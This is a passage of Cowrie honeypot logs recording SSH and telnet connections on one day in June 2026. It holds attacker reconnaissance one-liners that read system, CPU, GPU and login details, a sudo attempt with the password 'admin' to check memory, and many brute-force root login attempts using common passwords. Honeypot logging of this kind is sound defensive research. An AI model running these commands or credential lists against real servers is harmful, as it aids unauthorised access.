\"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:35.572619Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:35.575226Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:35.578138Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:35.581604Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:35.877743Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.582824Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'admin' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'admin' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.586124Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.589750Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.592779Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.597002Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.599687Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:36.602398Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f84abb49ff9050ccbbb11a884406779aa473fb3ea34f367ec469800d84b875f3","size":124,"shasum":"f84abb49ff9050ccbbb11a884406779aa473fb3ea34f367ec469800d84b875f3","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/f84abb49ff9050ccbbb11a884406779aa473fb3ea34f367ec469800d84b875f3 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:37.152499Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:37.157158Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53031,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0fb6bb4f67d","protocol":"ssh","message":"New connection: 216.155.93.75:53031 (159.203.135.109:22) [session: e0fb6bb4f67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:41.028400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:41.032407Z","src_ip":"216.155.93.75","session":"e0fb6bb4f67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:41.181239Z","src_ip":"216.155.93.75","session":"e0fb6bb4f67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mssql","password":"mssql","message":"login attempt [mssql/mssql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:41.810564Z","src_ip":"216.155.93.75","session":"e0fb6bb4f67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.70674157142639,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:42.416576Z","src_ip":"128.199.8.54","session":"1e4e0a98a8d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:42.961428Z","src_ip":"216.155.93.75","session":"e0fb6bb4f67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":43504,"dst_ip":"159.203.135.109","dst_port":22,"session":"48dc232b5121","protocol":"ssh","message":"New connection: 103.82.20.28:43504 (159.203.135.109:22) [session: 48dc232b5121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:12.388480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:12.392535Z","src_ip":"103.82.20.28","session":"48dc232b5121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:12.655142Z","src_ip":"103.82.20.28","session":"48dc232b5121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230980","message":"login attempt [root/230980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:13.443917Z","src_ip":"103.82.20.28","session":"48dc232b5121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:14.708256Z","src_ip":"103.82.20.28","session":"48dc232b5121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53162,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba7c510dc7bc","protocol":"ssh","message":"New connection: 27.71.230.31:53162 (10.17.0.5:22) [session: ba7c510dc7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:21.670642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:21.688480Z","src_ip":"27.71.230.31","session":"ba7c510dc7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:22.880549Z","src_ip":"27.71.230.31","session":"ba7c510dc7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PASSword!123","message":"login attempt [root/PASSword!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:25.686664Z","src_ip":"27.71.230.31","session":"ba7c510dc7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:30.841048Z","src_ip":"27.71.230.31","session":"ba7c510dc7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":53226,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d87463988cc","protocol":"ssh","message":"New connection: 85.198.19.241:53226 (159.203.135.109:22) [session: 6d87463988cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:49.811416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:51.715538Z","src_ip":"85.198.19.241","session":"6d87463988cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:51.719017Z","src_ip":"85.198.19.241","session":"6d87463988cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ABCabc","message":"login attempt [root/123ABCabc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:52.714377Z","src_ip":"85.198.19.241","session":"6d87463988cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:53.881398Z","src_ip":"85.198.19.241","session":"6d87463988cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41226,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10eeaac9b04","protocol":"ssh","message":"New connection: 182.93.50.90:41226 (10.17.0.5:22) [session: f10eeaac9b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:58.704236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:58.707939Z","src_ip":"182.93.50.90","session":"f10eeaac9b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:58.923020Z","src_ip":"182.93.50.90","session":"f10eeaac9b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx123","message":"login attempt [root/qwaszx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:57:59.818561Z","src_ip":"182.93.50.90","session":"f10eeaac9b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:01.035527Z","src_ip":"182.93.50.90","session":"f10eeaac9b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a60fa47ecbd","protocol":"ssh","message":"New connection: 103.216.145.2:47494 (10.17.0.5:22) [session: 5a60fa47ecbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:40.409866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:40.414398Z","src_ip":"103.216.145.2","session":"5a60fa47ecbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:40.611329Z","src_ip":"103.216.145.2","session":"5a60fa47ecbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vr123456","message":"login attempt [root/Vr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:41.437299Z","src_ip":"103.216.145.2","session":"5a60fa47ecbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34420,"dst_ip":"159.203.135.109","dst_port":22,"session":"611db6b2242b","protocol":"ssh","message":"New connection: 27.71.230.31:34420 (159.203.135.109:22) [session: 611db6b2242b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:41.885262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:41.924319Z","src_ip":"27.71.230.31","session":"611db6b2242b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:42.636560Z","src_ip":"103.216.145.2","session":"5a60fa47ecbd","protocol":"ssh"}
